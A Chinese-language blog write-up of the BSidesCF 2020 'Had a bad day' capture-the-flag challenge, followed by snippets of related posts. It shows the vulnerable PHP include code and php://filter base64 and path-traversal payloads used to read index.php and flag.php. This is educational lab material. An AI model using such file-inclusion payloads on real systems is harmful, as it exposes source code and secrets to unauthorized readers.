首页 > 其他分享 >[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

时间:2023-10-08 12:01:50浏览次数:46  
标签:category 文件 index base64 Had bad 源码 2020 php

原理

文件包含
liunx对不存在目录不敏感
伪协议利用

解题过程

进入靶场可以看到两个按钮,点其中一个,会传递category参数,然后会出现随机图片,两个按钮的参数值不一样,查看页面原代码证实了这样的操作

试试修改category值,发现只让有两个值其中一个

那再修改参数值,发现涉及include函数,是文件包含

参照文件包含伪协议的利用来构造payload,试试读取index文件源码,发现报错多了一个后缀,猜测是源码有连接后缀名

重新修改payload

category=php://filter/read=convert.base64-encode/resource=index

取打印出来的base64值解码,得到php源码为

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

查找strpos函数得知作用是返回woofers第一次出现的位置,没有则返回false,从源码可以看出,需要参数值包含woofers或者meowers或者index

插一个知识点是PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响
所以可以构造payload去尝试读取flag.php文件

category=php://filter/read=convert.base64-encode/resource=meowers/../flag

对base64解码即可获得flag,注意打印的base64多了个/,要去掉
参考文章:https://blog.csdn.net/weixin_44508748/article/details/108162951.
https://blog.51cto.com/u_15061934/4520192
https://blog.csdn.net/weixin_44508748/article/details/108162951.

标签:category,文件,index,base64,Had,bad,源码,2020,php
From: https://www.cnblogs.com/BEONTHE/p/17748549.html

相关文章

  • [网鼎杯 2020 朱雀组]phpweb
    原理反序列化命令执行call_user_func解题过程首先进入靶场莫名其妙报了个错,翻译一下是date()函数的问题--不管了,先看页面原代码看到这里有自动post请求,数据时func=date&p=Y-m-dh:i:sa,看格式像是传入一个函数和参数,那就试试使用func=system&p=ls却发现过滤了,尝试了很多......
  • 文本分类 2018-2020 文献分析
    文本分类转自https://mp.weixin.qq.com/s/0hKzedHimfPtWgzEk49YzAhttps://mp.weixin.qq.com/s/0hKzedHimfPtWgzEk49YzA ASurveyonTextClassification:FromShallowtoDeepLearning,2020[1]     2018Multi-grainedattentionnetworkforaspect-level......
  • 【大数据】Hadoop配置(文档版本)
    主机配置:192.168.88.101test1192.168.88.102test2192.168.88.103test3Hadoop上传压缩包并且解压hadoop百度云:链接:https://pan.baidu.com/s/1DRV_x7Q_ZTUO4KMkr2-6Qg?pwd=not3#先配置NameNode主机:#上传hadoop文件压缩包到NameNode主机,并且解压到/exp......
  • 2023牛客国庆集训派对day8/牛客2020年暑期多校day8
    Preface妈的多校都是些什么题啊,一场比赛后三小时全程啥也干不了只能划划水,最后开榜就看手速排名,给他唐完了这场开场和前期久违地顺利,按难度开了三道签到后队里讨论了下秒出了A的正解我爬上去摸了会虽然nt错误频发WA了两发,但后面还是成功抢到了A题的一血,同时徐神和祁神坐在下面......
  • 【题解】洛谷#P7073 [CSP-J2020] 表达式
    【题解】洛谷#P7073[CSP-J2020]表达式Description给定一个逻辑表达式和其中每一个操作数的初始取值后,再取反某一个操作数的值时,求出原表达式的值。表达式将采用后缀表达式的方式输入。Solution根据题目可得,当取反一个操作数的值时,整个表达式大体只有变与不变两种情况,而往下......
  • AutoCAD Electrical 2020 64位简体中文安装版下载 安装包下载
    AutoCADElectrical2013基于在AutoCAD2013打造,Electrical版本也叫AutoCAD电气版,在AutoCAD的基础上添加了一个Electrical模块,内置简体中文,增加了多种工具和一整套电气设计CAD功能,如符号库、物料清单(BOM)报告和PLCI/O设计等等,增强了界面视觉效果,专业的电器设计工具可极大的提高了......
  • 「Artlantis下载」Artlantis渲染器2020版 安装包下载方式
    Artlantis2020官方版是一款三维渲染软件,Artlantis2020官方版主要用于建筑绘图场景的三维渲染,对于建筑设计师来说,这款软件可以帮助极大提高渲染效率。软件可与市场上的所有3D建模软件兼容,是创建逼真的渲染和动画的最简单,最快的解决方案。自带渲染引擎,用户无需借助其他软件,专家和初......
  • 2020 ICPC 南京 EFKL
    2020-2021ACM-ICPC,AsiaNanjingRegionalContest(XXIOpenCup,GrandPrixofNanjing)E.EvilCoordinate思路:因为如果给定了起点和初始走法,其实我们的终点是一定确定的。我们不妨让上下左右的连着一块走,那么对于\(RLUD\)一共有\(4!\)种走法(全排列),我们暴力枚举然后\(ch......
  • Hadoop问题解决记(2)
     1.发现问题在对HBase集群进行压力测试过程中发现,当实际写入HBase和从HBase查询的量是平时的若干倍时(集群规模10~20台,每秒读写数据量在几十万条记录的量级),导致集群的读写出现一定程度的波动。具体如下:1)写端抛出以下异常信息:org.apache.hadoop.hbase.client.RetriesExha......
  • Hadoop问题解决记(1)
    最近在测试HBase时遇到一个非常奇怪的问题:集群有7台机器,其中1台Master,6台RegionServer。但是Master只能控制其中1台RegionServer,而无法控制其他5台RegionServer。打开master的日志文件,发现以下错误信息:2011-04-2216:37:21,242WARNorg.apache.hadoop.hbase.master.Assignment......